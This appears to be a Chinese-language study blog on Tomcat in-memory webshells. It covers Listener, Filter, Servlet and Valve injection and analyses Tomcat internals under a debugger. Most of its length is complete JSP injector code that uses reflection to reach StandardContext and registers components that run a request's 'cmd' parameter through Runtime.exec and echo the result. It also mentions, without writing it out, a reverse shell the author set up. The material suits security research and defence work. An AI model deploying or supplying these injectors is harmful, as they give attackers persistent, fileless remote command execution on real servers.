0%

Java Tomcat内存马探究

Java Tomcat内存马探究

Tomcat版本9.0.96

内存马的分类

传统web应用型内存马

Servlet->动态注册servlet及映射路由

filter->动态注册filter及映射路由

Listener->动态注册Listener

框架内存马

Spring Controller->动态注册Controller及映射路由

Spring Interceptor->动态注册Interceptor及映射路由

Spring WebFlux->动态注册WebFlux及映射路由

中间件型内存马

Tomcat Valve->动态注册Valve

Tomcat Upgrade->动态注册Upgrade

Tomcat Executor->动态替换全局Executor

Tmocsat Poller->动态替换全局Poller

Grizzly Filter->动态注册Grizzly Filter及映射

其他内存马

WebSocker->动态注册ebSocker路由及处理逻辑

Tomcat JSP->动态注册Tomcat JSP管理逻辑并实现驻留

线程型内存马->动态添加一个人无法杀死的线程

RMI型内存马->鼎泰启动一个RMI Registry

Agent型内存马

Agent型内存马->通过Hook并此添加恶意逻辑

利用Java Web组件

利用Servlet、Filter、Listener实现内存马,我们需要两个条件,一是动态创建对象,二是能将创建的对象注册到HTTP的处理流中生效。

Tomcat启动加载的顺序:Listener -> Filter -> Servlet

前置步骤遇到的问题

已经配置了tomcat但是import javax.servlet.http.HttpServletResponse;报错,

idea的解决办法:

image.png

image.png

Listener 内存马

Listener 可以译为监听器,监听器用来监听对象或者流程的创建与销毁,通过 Listener,可以自动触发一些操作,因此依靠它也可以完成内存马的实现。

在应用中可能调用的监听器如下:

  • ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
  • ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
  • ServletRequestListener:对 Request 请求进行监听(创建、销毁)
  • ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
  • javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
  • javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听

最合适的是ServletRequestListener接口,只要访问Servlet的任何资源都会触发这个监听器提供了两个方法在request请求创建和销毁时进行处理,比较适合我们打内存马

image.png

他提供两个方法requestDestroyed、requestDestroyed,两个方法均接ServletRequestEvent 作为参数,ServletRequestEvent 中又储存了 ServletContext 对象和 ServletRequest 对象,因此在访问请求过程中我们可以在 request 创建和销毁时实现自己的恶意代码,完成内存马的实现。

image.png

创建listener

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.io.IOException;

@WebListener
public class ListenerDemo implements ServletRequestListener {
@Override
public void requestDestroyed (ServletRequestEvent sre) {
System.out.println("requestDestroyed");
}

@Override
public void requestInitialized (ServletRequestEvent sre) {
ServletRequest servletRequest = sre.getServletRequest();
String cmd = servletRequest.getParameter("cmd");
if(cmd != null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
}
1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<listener>
<listener-class>ListenerDemo</listener-class>
</listener>
</web-app>

ServletRequestListener 用于监听 ServletRequest 对象的创建和销毁。注册 ServletRequestListener 后,每次请求发生时都会调用 requestInitialized() 方法。而我们可以从requestInitialized()方法的参数ServletRequestEvent中获取本次请求的ServletRequest对象。所以我们可以在requestInitialized()方法中添加恶意代码。

由于我们默认无法在ServletRequestListener中获取HttpServletResponse对象,如果我们想要得到命令执行的回显,我们需要在实现ServletRequestListener的自定义类中定义一个自定义构造函数,并将HttpServletResponse作为参数传递给它

运行效果

image.png

无论是存在的页面还是不存在的页面都能执行

image.png

而我们执行需要回显的命令时是无法看到的

image.png

既然实现了命令执行,那么就需要做到回显,打断点调试查看逻辑

image.png

跟进查看代码逻辑

image.png

查看堆栈可以定位到StandardContext;#listenerStart;()方法,对Listener 进行了实例化

image.png

listener从findApplicationListeners()方法中获取

image.png

findApplicationListeners()是用来获取applicationListeners属性的,而其中就是存放listener名字

通过上面我们就可以知道注册的Listener 名字存放在applicationListeners数组中(名字是从web.xml中获取的) findApplicationListeners 函数取出内容并进行实例化,并存储到result中。

跟进:

image.png

指向方法,ctrl加鼠标点击跟进查看具体的方法

image.png

然后调用了setApplicationEventListeners;来进行设置,可以看到方法会先清空applicationEventListenersList; ,所以上面重新取出来进行赋值,然后将获取的数组全部进行传入。

image.png

image.png

可以看到List。所以这里面存放的都是实例化后的Listener

查看第二个断点看到调用了requestInitialized(event);;这个listener 就是调用的恶意的Listener实例,可以看到是通过遍历instances数组,而instances数组就是通过getApplicationEventListeners; 来进行获取的值,所以我们内存马只需要添加到这个数组就可以了。

image.png

image.png

通过动态调试我们可以清楚的看到ApplicationContextFacade和StandardContext的关系

由于ApplicationContextFacade中的成员变量context是私有的,而ApplicationContext中的成员变量context也是私有的,所以我们应该使用反射机制

内存马(用现成的了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
class ListenerTest implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}

@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest req = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
String cmd = req.getParameter("cmd");
if (cmd != null) {
Field field = req.getClass().getDeclaredField("request");
field.setAccessible(true);
Request request = (Request) field.get(req);
Response response = request.getResponse();
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] bytes = new byte[1024];
int a = -1;
while ((a = in.read(bytes)) != -1) {
baos.write(bytes, 0, a);
}
response.getWriter().write(new String(baos.toByteArray()));
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
%>
<%
Field field = request.getClass().getDeclaredField("request");
field.setAccessible(true);
Request req = (Request) field.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
ListenerTest listenerTest = new ListenerTest();
standardContext.addApplicationEventListener(listenerTest);
%>

执行成功

image.png

Filter型内存马

Filter是链式调用执行的,Filter会在访问不Web资源之前被执行,而且定义Filter时可以根据访问的路径来设置,相对来说更灵活

创建Java文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter("/*")
public class FilterDemo implements Filter {

@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("init......");//初始化代码
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if(cmd != null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
chain.doFilter(request, response);
//在过滤器中通常不能省略。它是用来将请求和响应传递给链中的下一个过滤器或目标资源(如 Servlet)的。如果省略这行代码,请求将不会继续处理,可能导致页面无法正确显示或其他功能无法正常工作
}

@Override
public void destroy() {
System.out.println("destroy...");//清理代码
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<filter>
<filter-name>Filter</filter-name>
<filter-class>FilterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>Filter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>

同样可以弹出计算器但是命令无回显

我们每个请求都会触发#doFilter()方法,在这里下断点

image.png

跟进

image.png

Filter的流程相对Listener来说更麻烦,StandardContext并没有类似addFilter的方法,上面我们也提到了Filter是链式调用,所以接受的是一个FilterMap,还需要利用FilterMap把我们的恶意类包装起来

首先找到filters属性的定义看他的类型

image.png

往上一步看是如何构建ApplicationFilterConfig类的

image.png

ApplicationFilterFactorycreateFilterChain方法创建了ApplicationFilterChain

image.png

如上图的代码所示,所有的过滤信息都是通过context.findFilterMaps() 获得的,FilterMap 对象包含了Filter的所有信息,包括filterName和 urlPatterns

ApplicationFileConfig 的结构如下图

image.png

filterDef这两项配置对应的恰好就说注册表里面的配置

1
2
3
4
<filter>
<filter-name></filter-name>
<filter-class></filter-class>
</filter>

最后,回到 StandardWrapperValue#invoke() ,filterChain 开始执行每个Filter的doFilter()方法

image.png

整个过程的逻辑

1
2
3
4
5
1.	filterChain = new ApplicationFilterChain();	创建一个ApplictionFilterChain对象
2. StandardContext context = (StandardContext) wrapper.getParent(); 获取当前进程Context
3. FilterMap filterMaps[] = context.findFilterMaps(); 通过Context获取所有过滤器
4. ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName()); 获取filterConfig
5. filterChain.addFilter(filterConfig); 添加过滤器

整个步骤:

1.获取ServletContext

1
2
3
4
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request requestImp = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext)requestImp.getContext();

2.设置FilterDef

1
2
3
4
5
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("ServletFilter");
filterDef.setFilterClass(servletFilter.getClass().getName());
filterDef.setFilter(servletFilter);
standardContext.addFilterDef(filterDef);

3.设置FilterMap

1
2
3
4
5
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(servletFilter.getClass().getName());
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name()); //调度器类型设置为处理客户端请求
standardContext.addFilterMap(filterMap);

4.包装

1
2
3
4
5
6
7
8
Constructor<ApplicationFilterConfig> applicationFilterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
applicationFilterConfigConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = applicationFilterConfigConstructor.newInstance(standardContext, filterDef);

Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("ServletFilter", applicationFilterConfig);

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%--
基于Tomcat的Filter型内存Webshell
--%>
<%!
public class FilterDemo implements Filter {

@Override
public void init(FilterConfig filterConfig) throws ServletException {
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
throws IOException, ServletException {
try {
ServletOutputStream out = response.getOutputStream();
String cmds = request.getParameter("cmd");
if (cmds != null) {
InputStream in = Runtime.getRuntime().exec(cmds.split(" ")).getInputStream();
StringBuilder sb = new StringBuilder();
BufferedReader br = new BufferedReader(new InputStreamReader(in));
String line = null;
while((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
if (sb.length() > 0) {
out.print("<pre>");
out.write(sb.toString().getBytes());
out.print("</pre>");
out.flush();
out.close();
}
}
} catch (Exception e) {
e.printStackTrace();
}

filterChain.doFilter(request, response);
}

@Override
public void destroy() {

}
}
%>
<%
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade appCtxFacade = (ApplicationContextFacade)servletContext;
Field appCtxField = ApplicationContextFacade.class.getDeclaredField("context");
appCtxField.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)appCtxField.get(appCtxFacade);
Field stdCtxField = ApplicationContext.class.getDeclaredField("context");
stdCtxField.setAccessible(true);
StandardContext stdCtx = (StandardContext)stdCtxField.get(appCtx);

//1. 添加filterDef
FilterDemo filterDemo = new FilterDemo();
FilterDef filterDef = new FilterDef();
filterDef.setFilterClass("FilterDemo");
filterDef.setFilterName(filterDemo.getClass().getName());
filterDef.setFilter(filterDemo);
stdCtx.addFilterDef(filterDef);
//根据filterDefs重新生成filterConfig
stdCtx.filterStart();
//2. 添加filterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterDemo.getClass().getName());
filterMap.setDispatcher("REQUEST");
filterMap.addURLPattern("/*");
stdCtx.addFilterMap(filterMap);
//3. 将自定义filter移动到filterMaps数组的第0位置
// [这步非必要,只是为了提高filterChain的处理顺序],
FilterMap[] filterMaps = stdCtx.findFilterMaps();
FilterMap[] tmpFilterMaps = new FilterMap[filterMaps.length];
int idx = 1;
for (int i = 0; i < filterMaps.length; i++) {
FilterMap tmpFilter = filterMaps[i];
if (tmpFilter.getFilterName().equalsIgnoreCase(filterDemo.getClass().getName())) {
tmpFilterMaps[0] = tmpFilter;
} else {
tmpFilterMaps[idx++] = tmpFilter;
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
out.println("injected!");
%>

image.png

Servlet型内存马

Servlet是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。Servlet 可以理解为某一个路径后续的业务处理逻辑。

正常的定义Servlet的流程:

(1) 自定义Servlet类;

(2) 在web.xml中注册该Servlet类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

@WebServlet("/ServletShell")
public class ServletDemo implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {

}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {

}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<servlet>
<servlet-name>servlet</servlet-name>
<servlet-class>ServletDemo</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>servlet</servlet-name>
<url-pattern>/servlet/servlet</url-pattern>
</servlet-mapping>
</web-app>

image.png

这个试了一下不知道为什么打不了断点,就大概了解了一下原理流程

1.init(),初始阶段,只被调用一次,也是第一次创建Servlet时被调用

2.service(),服务阶段。处理客户请求,doGet(),doPost()等

3.doGet(),doPost()处理阶段

4.destory(),销毁阶段

关键代码

1
2
3
4
5
Wrapper wrapper = context.createWrapper();
wrapper.setName(servlet.getServletName());
wrapper.setServletClass(servlet.getServletClass());
context.addChild(wrapper);
context.addServletMappingDecoded(entry.getKey(), entry.getValue());

内存马的注入代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
@WebServlet(name = "ServletServlet", value = "/ServletServlet")
public class ServletServlet extends HttpServlet {
@Override
public void init(ServletConfig config) throws ServletException {

}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {

}
}
%>

<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request requestImp = (Request) requestField.get(request);
StandardContext context = (StandardContext) requestImp.getContext();

Wrapper wrapper = context.createWrapper();
wrapper.setName("ServletServlet");
wrapper.setServletClass(ServletServlet.class.getName());
wrapper.setServlet(new ServletServlet());
context.addChild(wrapper);
context.addServletMappingDecoded("/ServletServlet", "ServletServlet");
%>

遇到个问题,内存马应该是打进去了,但是会在里面创建一个同名的变量,就会报错重名?睡醒再说

首先要访问这个jsp文件触发构造内存马,之后访问/ServletServlet即可触发

image.png

无回显的就搞了一下反弹shell

image.png

前面的两种都是任意路由都可以打,但是这个要访问设置的固定路由,不利于隐藏

vlave型内存马

Tomcat有四大组件,分别是Engine,Host,Context,Wrapper。这四个之间的消息传递与沟通离不开Valve(阀门)Pipeline(管道)

1
2
3
4
5
6
7
8
9
public interface Valve {
public Valve getNext();
public void setNext(Valve valve);
public void backgroundProcess();
public void invoke(Request request, Response response)
throws IOException, ServletException;
public boolean isAsyncSupported();
}

前面两个漏洞一路扒下来就会发现,Tomcat的调用过程中一定会调用到valve.invok,只要我们实现这个接口并且构造恶意代码就可以实现rce

构造恶意value实现类并加入到调用链中,这就需要用到Pipline

1
2
3
4
5
6
7
8
public interface Valve {
public Valve getNext();
public void setNext(Valve valve);
public void backgroundProcess();
public void invoke(Request request, Response response)
throws IOException, ServletException;
public boolean isAsyncSupported();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Pipeline" %>

<%!
public class ServletValve implements Valve {
private Valve next;
@Override
public Valve getNext() {
return next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
Runtime.getRuntime().exec("calc");
this.getNext().invoke(request, response);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public boolean isAsyncSupported() {
return false;
}
}
%>

<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request requestImp = (Request)requestField.get(request);
StandardContext standardContext = (StandardContext)requestImp.getContext();

Pipeline pipeline = standardContext.getPipeline();
pipeline.addValve(new ServletValve());
%>

访问两次,第二次触发

参考文章:

https://blog.csdn.net/qq_64201116/article/details/136774996

https://blog.csdn.net/mole_exp/article/details/123893144


来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/idg1sfu19gbiik29
语雀文档ID: 188065550